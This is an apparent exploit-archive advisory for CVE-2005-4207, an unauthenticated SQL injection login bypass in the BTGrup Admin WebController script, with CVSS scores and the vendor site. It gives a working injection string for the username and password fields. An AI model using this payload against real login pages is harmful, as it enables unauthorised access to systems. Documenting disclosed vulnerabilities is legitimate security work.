BTGrup Admin WebController Script SQL injection

2005.12.12

Credit: khc bsdmail org

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2005-4207

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Description : A web controller script.

Site : http://www.btgrup.com

Username : 'or''='
Password : 'or''='

Thanx : My Friends b3g0k and KHC memberz

Freedom For Ocalan

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

BTGrup Admin WebController Script SQL injection

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.